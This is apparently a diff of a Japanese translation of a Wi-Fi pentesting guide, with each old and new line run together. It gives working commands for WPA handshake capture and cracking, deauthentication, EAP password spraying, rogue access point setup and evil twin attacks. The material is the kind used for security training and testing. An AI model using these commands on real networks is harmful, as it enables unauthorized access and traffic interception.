cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -335,30 +338,30 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
``` ```
このツールでキャプチャした一部のハンドシェイクは、正しいパスワードを知っていてもクラックできないことがありました。可能であれば、従来の方法でもハンドシェイクをキャプチャすることをお勧めします。または、このツールを使用して複数のハンドシェイクをキャプチャしてください。 _このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックできないことがありました。可能であれば、伝統的な方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。_
### ハンドシェイクキャプチャ ### ハンドシェイクキャプチャ
**WPA/WPA2** ネットワークを攻撃する方法の一つは、**ハンドシェイク**をキャプチャして、使用されているパスワードを**オフライン**で**クラック**することです。これを行うには、**被害者**ネットワークの **BSSID****チャンネル**、そしてネットワークに接続している**クライアント**を見つける必要があります。\ **WPA/WPA2** ネットワークを攻撃する方法の1つは、**ハンドシェイク**をキャプチャして使用されたパスワードを**オフライン**で**クラック**しようとすることです。これを行うには、**被害者**ネットワークの**BSSID**と**チャンネル**、ネットワークに接続されている**クライアント**を見つける必要があります。\
その情報を得たら、その**BSSID**のその**チャンネル**でのすべての通信を**監視**を開始する必要があります。なぜなら、ハンドシェイクがそこに送信されることを期待しているからです: その情報を入手したら、その**BSSID**がその**チャンネル**でのすべての通信を**リッスン**する必要があります。なぜなら、ハンドシェイクがそこに送信されることを期待しています。
```bash ```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
``` ```
**クライアント**を数秒間**デオーセンティケート**する必要があります。そうすると、クライアントは自動的にAPに再認証しますクライアントをデオーセンティケートするいくつかの方法を見つけるために、DoSの部分を読んでください 今、数秒間**クライアント**を**deauthenticate**する必要があります。これにより、自動的にAPに再認証されますクライアントをdeauthenticateするためのいくつかの方法を見つけるためにDoSの部分を読んでください:
```bash ```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
``` ```
クライアントが認証解除されたため、異なるAPや、場合によっては異なるネットワークに接続しようとする可能性があります。 _クライアントが認証解除されたため、別のAPに接続しようとする可能性があります。また、他の場合では、異なるネットワークに接続しようとすることもあります。_
`airodump-ng` にハンドシェイク情報が表示されたら、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます: `airodump-ng`でハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます:
![](<../../.gitbook/assets/image (172) (1).png>) ![](<../../.gitbook/assets/image (172) (1).png>)
ハンドシェイクがキャプチャされたら、`aircrack-ng` で**クラック**することができます: ハンドシェイクがキャプチャされたら、`aircrack-ng`でそれを**クラック**できます:
``` ```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
``` ```
### ファイル内のハンドシェイクを確認する ### ファイル内のハンドシェイクをチェックします
**aircrack** **aircrack**
```bash ```bash
@ -372,70 +375,71 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
``` ```
cowpatty -r psk-01.cap -s "ESSID" -f - cowpatty -r psk-01.cap -s "ESSID" -f -
``` ```
_このツールは完了したハンドシェイクよりも未完了のハンドシェイクを先に見つけた場合、有効なハンドシェイクを検出しません。_ _このツールが、完了していないESSIDのハンドシェイクを完了したものよりも先に見つけた場合、有効なものを検出しません。_
**pyrit** **pyrit**
```bash ```bash
apt-get install pyrit #Not working for newer versions of kali apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze pyrit -r psk-01.cap analyze
``` ```
## **WPA Enterprise (MGT)** ## **WPAエンタープライズMGT**
企業Wifiが使用可能な**異なる認証方法**について説明することが重要です。この種のWifiでは、`airodump-ng`で次のようなものが見つかるでしょう: **企業Wifi** で使用される可能性のある **異なる認証方法** について話すことが重要です。この種のWifiでは、おそらく `airodump-ng` で次のようなものが見つかるでしょう:
``` ```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
``` ```
**EAP** (Extensible Authentication Protocol) は**認証通信**の**骨格**であり、その上でサーバーが**クライアント****サプリカント**)を認証するために使用する**認証アルゴリズム**があり、場合によってはクライアントがサーバーを認証するためにも使用されます。 **EAP**Extensible Authentication Protocolは**認証通信**の**骨格**であり、その上にサーバーが**クライアント****supplicant**)を認証するために**認証アルゴリズム**が使用されます(一部の場合はクライアントがサーバーを認証するためにも使用されます)。
主に使用される認証アルゴリズムは以下の通りです:
* **EAP-GTC:** EAP-PEAPでハードウェアトークンとワンタイムパスワードの使用をサポートするためのEAPメソッドです。MSCHAPv2に似ていますが、ピアチャレンジは使用せず、代わりにパスワードが**プレーンテキスト**でアクセスポイントに送信されます(ダウングレード攻撃に非常に興味深い)。 この場合に使用される主要な認証アルゴリズム:
* **EAP-MD-5 (Message Digest)**: クライアントはパスワードのMD5ハッシュを送信します。**推奨されません**辞書攻撃に弱く、サーバー認証がなく、セッションごとの有線同等プライバシーWEPキーを生成する方法がありません。
* **EAP-TLS (Transport Layer Security)**: **クライアント側とサーバー側の証明書**に依存して認証を行い、その後の通信を保護するためにユーザーベースおよびセッションベースのWEPキーを動的に生成することができます。
* **EAP-TTLS (Tunneled Transport Layer Security)**: 暗号化されたチャネル(またはトンネル)を介してクライアントとネットワークの**相互認証**を行い、ユーザーごと、セッションごとのWEPキーを導出する手段を提供します。EAP-TLSとは異なり、**EAP-TTLSはサーバー側の証明書のみを必要としますクライアントは資格情報を使用します**。
* **PEAP (Protected Extensible Authentication Protocol)**: EAPプロトコルのようですが、通信を保護するために**TLSトンネル**を作成します。その後、弱い認証プロトコルをEAPの上で使用できますが、トンネルによって保護されます。
* **PEAP-MSCHAPv2**: これは一般的に**PEAP**として知られています。これは、PEAPの上での脆弱なチャレンジ/レスポンスであるMSCHAPv2ですTLSトンネルによって保護されています
* **PEAP-EAP-TLS または単に PEAP-TLS**: **EAP-TLS**に非常に似ていますが、証明書が交換される前にTLSトンネルが作成されます。
これらの認証方法に関する詳細情報は[こちら](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)と[こちら](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)で見つけることができます。 - **EAP-GTC:** EAP-PEAPとハードウェアトークンやワンタイムパスワードの使用をサポートするEAPメソッドです。MSCHAPv2に類似した実装ですが、ピアチャレンジは使用しません。代わりに、パスワードは**平文**でアクセスポイントに送信されます(ダウングレード攻撃に非常に興味深い)。
- **EAP-MD-5メッセージダイジェスト:** クライアントはパスワードのMD5ハッシュを送信します。**推奨されません**辞書攻撃に対して脆弱であり、サーバー認証がなく、セッションごとのWEPキーを生成する方法がありません。
- **EAP-TLSトランスポートレイヤーセキュリティ:** **クライアント側とサーバー側の証明書**に依存して認証を行い、ユーザーベースおよびセッションベースのWEPキーを動的に生成して後続の通信を保護することができます。
- **EAP-TTLSトンネルドトランスポートレイヤーセキュリティ:** 暗号化されたチャネル(またはトンネル)を介してクライアントとネットワークの**相互認証**を行い、動的なユーザーごとのセッションごとのWEPキーを導出する手段です。EAP-TTLSはEAP-TLSとは異なり、**サーバー側の証明書のみが必要です(クライアントは資格情報を使用します)**。
- **PEAP保護拡張認証プロトコル:** PEAPは**EAP**プロトコルのようですが、通信を保護するために**TLSトンネル**を作成します。その後、EAPの上に弱い認証プロトコルを使用できますが、それらはトンネルによって保護されます。
- **PEAP-MSCHAPv2:** これは一般的に知られている**PEAP**とも呼ばれます。これはPEAPの上に脆弱なチャレンジ/レスポンスであるMSCHAPv2が配置されていますTLSトンネルによって保護されています
- **PEAP-EAP-TLSまたはPEAP-TLS:** **EAP-TLS**に非常に似ていますが、証明書の交換の前にTLSトンネルが作成されます。
これらの認証方法に関する詳細情報は[こちら](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)および[こちら](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)で入手できます。
### ユーザー名のキャプチャ ### ユーザー名のキャプチャ
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**"Identity"** **メッセージ**は**サポートされる**必要があり、**ユーザー名**は**"Response Identity"** メッセージで**クリア**で送信されることがわかります。 [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**"Identity"** **メッセージ**が**サポート**されている必要があり、**ユーザー名**が**"Response Identity"**メッセージで**クリア**に送信されます。
最も安全な認証方法の一つである**PEAP-EAP-TLS**を使用していても、EAPプロトコルで送信される**ユーザー名をキャプチャする**ことが可能です。これを行うには、**認証通信をキャプチャ**します(チャネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を使用します)し、パケットを`eapol`でフィルタリングします。\ 最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用していても、**EAPプロトコルで送信されたユーザー名をキャプチャ**することが可能です。これを行うには、**認証通信をキャプチャ**(チャネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を開始)し、パケットを`eapol`でフィルタリングします。\
"**Response, Identity**" パケットの中に、クライアントの**ユーザー名**が表示されます。 **"Response, Identity"**パケットの中に、クライアントの**ユーザー名**が表示されます。
![](<../../.gitbook/assets/image (150).png>) ![](<../../.gitbook/assets/image (150).png>)
### 匿名ID ### 匿名ID
(情報は[https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)から取得) EAP-PEAPおよびEAP-TTLSの両方で、**匿名ID**の非表示がサポートされています。WiFiネットワークのコンテキストでは、EAP-Identityリクエストは通常、アクセスポイントAPによってAPの関連付けプロセス中に開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、リクエストを処理するために初期のRADIUSサーバーに必要な基本情報のみが含まれます。この概念は次のシナリオを通じて説明されます
**EAP-PEAPとEAP-TTLSは両方ともIDの隠蔽をサポートしています**。WiFi環境では、アクセスポイントAPは通常、関連付けプロセスの一部としてEAP-Identityリクエストを生成します。匿名性を保つために、ユーザーのシステム上のEAPクライアントは、最初のホップRADIUSサーバーがリクエストを処理するのに十分な情報のみを応答する場合があります。以下に例を示します。 - EAP-Identity = anonymous
* _**EAP-Identity = anonymous**_ - このシナリオでは、すべてのユーザーが疑似的な「anonymous」をユーザー識別子として使用します。初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、PEAPまたはTTLSプロトコルのサーバーサイドを管理します。その後、内部保護された認証メソッドは、ローカルで処理されるか、リモートホームRADIUSサーバーに委任されます。
> この例では、すべてのユーザーが擬似ユーザー名「anonymous」を共有します。最初のホップRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーであり、PEAPまたはTTLSプロトコルのサーバー側を駆動します。その後、内部保護された認証タイプはローカルで処理されるか、リモートホームRADIUSサーバーにプロキシされます。 - EAP-Identity = anonymous@realm_x
* _**EAP-Identity = anonymous@realm_x**_ - この状況では、異なるレルムのユーザーは自分たちのレルムを示しながら自分たちのアイデンティティを隠します。これにより、初期のRADIUSサーバーは、ユーザーのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシし、そのサーバーがPEAPまたはTTLSサーバーとして機能します。初期のRADIUSサーバーは、単にRADIUSリレーードとして動作します。
> この例では、異なるレルムに属するユーザーは自分のIDを隠しますが、最初のホップRADIUSサーバーがEAP-PEAPまたはEAP-TTLSリクエストをホームレルムのRADIUSサーバーにプロキシするために、どのレルムに属しているかを示します。最初のホップサーバーは純粋なRADIUSリレーードとして機能します。 - 代わりに、初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証メソッドを処理するか、別のサーバーに転送します。このオプションは、さまざまなレルムに異なるポリシーを構成することを可能にします。
>
> 代わりに、最初のホップサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証方法を処理するか、別のサーバーにプロキシすることができます。このオプションは、異なるレルムに対して異なるポリシーを設定するために使用される場合があります。
EAP-PEAPでは、PEAPサーバーとPEAPクライアントがTLSトンネルを確立すると、PEAPサーバーはEAP-Identityリクエストを生成し、TLSトンネルを通じて送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、ユーザーの真のIDを含むEAP-Identityレスポンスを暗号化されたトンネルを通じて送信します。これにより、802.11トラフィックを盗聴している人がユーザーの真のIDを発見することを防ぎます。 EAP-PEAPでは、PEAPサーバーとPEAPクライアント間にTLSトンネルが確立されると、PEAPサーバーはEAP-Identityリクエストを開始し、TLSトンネルを介して送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、暗号化されたトンネルを介してユーザーの実際のアイデンティティを含むEAP-Identity応答を送信します。このアプローチにより、802.11トラフィックを盗聴している人にユーザーの実際のアイデンティティが明らかにされるのを効果的に防ぎます。
EAP-TTLSは少し異なる方法で動作します。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを介して認証します。この場合、クライアントは、トンネル確立された後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。 EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルで保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントは、トンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
いずれのプロトコルでも、PEAP/TTLSサーバーはTLSトンネルが確立されると、ユーザーの真のIDを学習します。真のIDは、_**user@realm**_または単に_**user**_の形式である場合があります。PEAP/TTLSサーバーが_**user**_を認証している場合、ユーザーのIDを知っているので、TLSトンネルによって保護されている認証方法を進めます。または、PEAP/TTLSサーバーは新しいRADIUSリクエストをユーザーのホームRADIUSサーバーに転送する場合があります。この新しいRADIUSリクエストは、PEAPまたはTTLSプロトコルを剥がされています。保護された認証方法がEAPの場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。発信RADIUSメッセージのUser-Name属性には、受信RADIUSリクエストの匿名User-Name属性ではなく、ユーザーの真のIDが含まれます。保護された認証方法がPAPまたはCHAPである場合TTLSのみがサポート、TLSペイロードから回復されたUser-Nameおよびその他の認証属性は、受信RADIUSリクエストに含まれる匿名User-NameおよびTTLS EAP-Message属性の代わりに発信RADIUSメッセージに配置されます。 選択したプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの実際のアイデンティティを取得します。実際のアイデンティティは、user@realmまたは単にuserとして表されます。PEAP/TTLSサーバーがユーザーの認証も担当する場合、ユーザーのアイデンティティを取得し、TLSトンネルで保護された認証メソッドを続行します。別の場合、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送します。この新しいRADIUSリクエストにはPEAPまたはTTLSプロトコルレイヤーが含まれません。保護された認証メソッドがEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、着信RADIUSリクエストで見つかった匿名User-Nameを置き換える、ユーザーの実際のアイデンティティが含まれます。保護された認証メソッドがPAPまたはCHAPTTLSでのみサポートである場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が、着信RADIUSリクエストで見つかった匿名User-NameおよびTTLS EAP-Message属性を置き換え、送信されるRADIUSメッセージに代入されます。
### EAP-Bruteforce (パスワードスプレー) 詳細については、[こちら](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)を参照してください。
クライアントが**ユーザー名とパスワード**を使用することが予想される場合(**EAP-TLSはこの場合には有効ではない**ことに注意してください)、**ユーザー名**の**リスト**と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。 ### EAP-Bruteforceパスワードスプレー
クライアントが**ユーザー名とパスワード**を使用することが期待される場合(**EAP-TLSはこの場合有効ではありません**)、**ユーザー名**の**リスト**(次の部分を参照)と**パスワード**を取得して、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。
```bash ```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
``` ```
この攻撃は `eaphammer` を使用しても実行できます: この攻撃は`eaphammer`を使用しても実行することができます:
```bash ```bash
./eaphammer --eap-spray \ ./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -443,39 +447,39 @@ EAP-TTLSは少し異なる方法で動作します。EAP-TTLSでは、クライ
--password bananas \ --password bananas \
--user-list users.txt --user-list users.txt
``` ```
## クライアント攻撃理論 ## クライアント攻撃理論
### ネットワーク選択とローミング ### ネットワーク選択とローミング
802.11プロトコルは、ステーションがESSに参加する方法について非常に具体的なルールを定めていますが、ステーションが接続するESSをどのように選択すべきかについては規定していません。さらに、プロトコルはステーションが同じESSIDを共有するアクセスポイント間で自由にローミングすることを許可しています建物の一方の端から他方の端へ歩いているときにWiFi接続を失いたくないなどの理由から。しかし、これらのアクセスポイントがどのように選択されるべきかについては802.11プロトコルでは規定されていません。さらに、ステーションがアクセスポイントに関連付けるためにはESSに対して認証されている必要がありますが、アクセスポイントがステーションに対して認証される必要は802.11プロトコルでは求められていません。 802.11プロトコルは、ステーションがESSに参加する方法を規定する非常に具体的なルールがありますが、ステーションが接続するESSを選択する方法は指定されていません。さらに、プロトコルでは、同じESSIDを共有するアクセスポイント間を自由にローミングできるように許可されています建物の一方から他方に歩く際にWiFi接続を失いたくないためなど。ただし、802.11プロトコルではこれらのアクセスポイントがどのように選択されるべきかを指定していません。さらに、ステーションはアクセスポイントに関連付けるためにESSに認証されなければならないが、802.11プロトコルではアクセスポイントがステーションに認証されることを要求していません。
### 優先ネットワークリストPNL ### 優先ネットワークリストPNL
ステーションが無線ネットワークに接続するたびに、そのネットワークのESSIDはステーションの優先ネットワークリストPNLに保存されます。PNLは、ステーションが過去に接続したすべてのネットワークの順序付けられたリストであり、PNLの各エントリにはネットワークのESSIDと接続を確立するために必要なネットワーク固有の設定情報が含まれています。 ステーションがワイヤレスネットワークに接続するたびに、ネットワークのESSIDがステーションの優先ネットワークリストPNLに保存されます。 PNLは、ステーションが過去に接続したすべてのネットワークの順序付リストであり、PNLの各エントリにはネットワークのESSIDと接続を確立するために必要なネットワーク固有の構成情報が含まれています。
### パッシブスキャン ### パッシブスキャン
インフラストラクチャネットワークでは、アクセスポイントは定期的にビーコンフレームを送信して近くのステーションに自身の存在と能を広告します。ビーコンはブロードキャストフレームであり、範囲内のすべての近くのステーションに受信されることを意図しています。ビーコンには、APのサポートするレート、暗号化機能、追加情報が含まれており、最も重要なこととして、ビーコンフレームにはESSID放送が無効にされていない限り、APのESSIDが含まれています インフラストラクチャネットワークでは、アクセスポイントは定期的にビーコンフレームを送信して近くのステーションに存在と能を広告します。 ビーコンはブロードキャストフレームであり、つまり、範囲内のすべての近くのステーションに受信されることを意図しています。 ビーコンには、APのサポートされているレート、暗号化機能、追加情報、そして最も重要なのは、APのESSIDが含まれていますESSIDのブロードキャストが無効にされていない限り
パッシブスキャン中、クライアントデバイスは近くのアクセスポイントからのビーコンフレームを待ち受けます。クライアントデバイスがESSIDフィールドがクライアントのPNLのESSIDと一致するビーコンフレームを受信すると、クライアントはそのビーコンフレームを送信したアクセスポイントに自動的に接続します。次に、現在無線に接続していない無線デバイスをターゲットにしたいとします。そのクライアントのPNLの少なくとも1つのエントリを知っていれば、そのエントリのESSIDで自分のアクセスポイントを作成することによって、クライアントを自分たちに接続させることができます。 パッシブスキャン中、クライアントデバイスは近くのアクセスポイントからのビーコンフレームを受信します。 クライアントデバイスがPNLからのESSIDと一致するESSIDを持つビーコンフレームを受信した場合、クライアントはそのビーコンフレームを送信したアクセスポイントに自動的に接続します。 そして、現在どのワイヤレスにも接続されていないワイヤレスデバイスをターゲットにしたい場合、そのクライアントのPNLの少なくとも1つのエントリを知っている場合、そのエントリのESSIDを持つ自分自身のアクセスポイントを作成するだけで、クライアントを接続させることができます。
### アクティブプロービング ### アクティブプロービング
802.11で使用される2番目のネットワーク選択アルゴリズムはアクティブプロービングとして知られています。アクティブプロービングを使用するクライアントデバイスは、範囲内にどのAPが存在するか、およびその能力が何であるかを判断するために、継続的にプローブリクエストフレームを送信します。プローブリクエストには、指向性とブロードキャストの2種類があります。指向性プローブリクエストは特定のESSIDに対してアドレス指定されており、クライアントが特定のネットワークが近くにあるかどうかを確認する方法です。 802.11で使用される2番目のネットワーク選択アルゴリズムはアクティブプロービングとして知られています。 アクティブプロービングを使用するクライアントデバイスは、APが範囲内にあるかどうか、およびその機能が何であるかを確認するために、継続的にプローブリクエストフレームを送信します。 プローブリクエストには、指示されたものとブロードキャストの2つの形式があります。 指示されたプローブリクエストは特定のESSIDにアドレス指定され、特定のネットワークが近くにあるかどうかをクライアントが確認する方法です。
向性プロービングを使用するクライアントは、PNL内の各ネットワークに対してプローブリクエストを送信します。指向性プロービングは、近くにある隠されたネットワークの存在を特定する唯一の方法であることに注意すべきです。ブロードキャストプローブリクエストはほぼ同じ方法で機能しますが、SSIDフィールドをNULLに設定して送信されます。これにより、ブロードキャストプローブは近くのすべてのアクセスポイントにアドレス指定され、ステーションがPNLの内容を明らかにすることなく、優先ネットワークが近くにあるかどうかを確認することができます。 示されたプローブリクエストを使用するクライアントは、PNL内の各ネットワークに対してプローブリクエストを送信します。 近くに隠れたネットワークが存在するかを特定する唯一の方法が指示されたプロービングであることに注意する必要があります。 ブロードキャストプローブリクエストはほぼ同じ方法で機能しますが、SSIDフィールドがNULLに設定されています。 これにより、ブロードキャストプローブがすべての近くのアクセスポイントに送信され、ステーションはPNLの内容を明らかにせずに、好ましいネットワークが近くにあるかどうかを確認できます。
## インターネットへのリダイレクションを伴うシンプルなAP ## インターネットにリダイレクトされる単純なAP
より複雑な攻撃を実行する方法を説明する前に、単に**AP**を**作成**し、その**トラフィック**を**インターネット**に接続されたインターフェースに**リダイレクト**する**方法**について説明します。 より複雑な攻撃を実行する方法を説明する前に、**インターネットに接続されたインターフェースにトラフィックをリダイレクト**する**AP**を**作成**する方法について説明します。
`ifconfig -a`を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。 `ifconfig -a` を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。
### DHCP & DNS ### DHCP & DNS
```bash ```bash
apt-get install dnsmasq #Manages DHCP and DNS apt-get install dnsmasq #Manages DHCP and DNS
``` ```
設定ファイル _/etc/dnsmasq.conf_以下のように作成します: 以下のように設定ファイル _/etc/dnsmasq.conf_作成してください:
``` ```
interface=wlan0 interface=wlan0
dhcp-authoritative dhcp-authoritative
@ -487,12 +491,12 @@ log-queries
log-dhcp log-dhcp
listen-address=127.0.0.1 listen-address=127.0.0.1
``` ```
その後、**IPを設定**し、**ルートを設定**します: 次に、**IPアドレス**と**ルート**を設定します:
``` ```
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
``` ```
して、**start** dnsmasq: の後、**dnsmasqを起動**します:
``` ```
dnsmasq -C dnsmasq.conf -d dnsmasq -C dnsmasq.conf -d
``` ```
@ -500,7 +504,9 @@ dnsmasq -C dnsmasq.conf -d
``` ```
apt-get install hostapd apt-get install hostapd
``` ```
ホストapd.conf_ の設定ファイルを作成します: ```plaintext
ホストAPの設定ファイル _hostapd.conf:_ を作成します。
```
``` ```
interface=wlan0 interface=wlan0
driver=nl80211 driver=nl80211
@ -518,14 +524,14 @@ wpa_group_rekey=86400
ieee80211n=1 ieee80211n=1
wme_enabled=1 wme_enabled=1
``` ```
**煩わしいプロセスを停止**し、**モニターモード**を設定し、**hostapdを起動**します: **うるさいプロセスを停止**し、**モニターモード**を設定し、**hostapdを起動**します:
``` ```
airmon-ng check kill airmon-ng check kill
iwconfig wlan0 mode monitor iwconfig wlan0 mode monitor
ifconfig wlan0 up ifconfig wlan0 up
hostapd ./hostapd.conf hostapd ./hostapd.conf
``` ```
### 転送とリダイレクション ### フォワーディングとリダイレクト
```bash ```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT iptables --append FORWARD --in-interface wlan0 -j ACCEPT
@ -533,52 +539,50 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
``` ```
## イービルツイン ## イービルツイン
イービルツイン攻撃は、ほとんどのコンピュータや携帯電話がワイヤレスネットワークの「名前」またはESSIDのみを認識するという事実を利用したWi-Fi攻撃の一種です基地局はクライアントに対して認証する必要がありません。実際には、同じ名前と同じ種類の暗号化を使用するネットワーク間の区別は非常に困難です。実際、多くのネットワークには、ユーザーを混乱させることなくアクセスを拡張するために、同じ名前を使用する複数のネットワーク拡張アクセスポイントがあります。 イービルツイン攻撃は、ほとんどのコンピュータや携帯電話がワイヤレスネットワークの「名前」またはESSIDのみを見るために機能するWi-Fi攻撃の一種です基地局はクライアントに対して認証を必要としないため。実際、同じ名前と同じ種類の暗号化を使用するネットワークを区別するのは非常に難しいことになります。実際、多くのネットワークは、ユーザーを混乱させることなくアクセスを拡張するために、同じ名前を使用する複数のネットワーク拡張アクセスポイントを持っています。
クライアントの実装方法によ802.11プロトコルが同じESS内のアクセスポイント間で自由にローミングすることを許可していることを覚えておいてください、デバイスが接続している基地局を変更することが可能です。これは、より良い信号を提供すること常に可能ではありませんまたは元の基地局へのアクセスをブロックすること(認証解除パケット、ジャミング、またはその他の形態のDoS攻撃によって行うことができます。 クライアントの実装方法によ802.11プロトコルでは、同じESS内のアクセスポイント間を自由にローミングすることが許可されていることを覚えておいてください、デバイスをベースステーションに接続するように変更させることが可能です。これは、より良い信号を提供すること常に可能とは限りませんや、元のベースステーションへのアクセスをブロックすること(認証解除パケット、ジャミング、またはその他の形式のDoS攻撃によって行うことが可能です。
また、実際のワイヤレス展開では通常、単一のアクセスポイントよりも多くのアクセスポイントがあり、これらのアクセスポイントは通常、天井に向けて配置されるため、より強力でより良い直線範囲を持っています。単一のアクセスポイントの認証を解除しても、ターゲットがあなたの悪質なAPにローミングするのではなく、他の有効なアクセスポイントにローミングすることが通常です。ただし、近くのすべてのアクセスポイントが認証解除されている大きな音場合や、悪質なAPの配置に非常に注意している難しい場合を除きます また、実際のワイヤレス展開では通常、単一のアクセスポイントよりも複数のアクセスポイントがあり、これらのアクセスポイントは天井に向けて配置されているため、より強力で視界の良い範囲を持っています。単一のアクセスポイントの認証解除は、通常、ターゲットがローグAPではなく別の有効なアクセスポイントにローミングする結果となります、近くのすべてのアクセスポイントが認証解除されているラウドか、ローグAPの配置に非常に注意を払っている場合難しいを除いて
インターネットへのトラフィックをルーティングする機能ない非常に基本的なオープンイービルツインを作成することができます。 あなたは、インターネットへのトラフィックをルーティングする機能を持たない非常に基本的なオープンイービルツインを作成することができます。
```bash ```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
``` ```
以下は、eaphammerを使用してEvil Twinを作成する方法についての説明ですeaphammerでevil twinsを作成する場合、インターフェースは**monitor**モードに**してはいけません** あなたは**eaphammer**を使用してEvil Twinを作成することもできますeaphammerを使用してEvil Twinを作成するには、インターフェースが**モニター**モードになっていては**いけない**ことに注意してください):
``` ```
./eaphammer -i wlan0 --essid exampleCorp --captive-portal ./eaphammer -i wlan0 --essid exampleCorp --captive-portal
``` ```
またはAirgeddonを使用してください`オプション5,6,7,8,9Evil Twin攻撃メニュー内。` または、Airgeddonを使用する`オプション5,6,7,8,9Evil Twin攻撃メニュー内。`
![](<../../.gitbook/assets/image (148).png>) ![](<../../.gitbook/assets/image (148).png>)
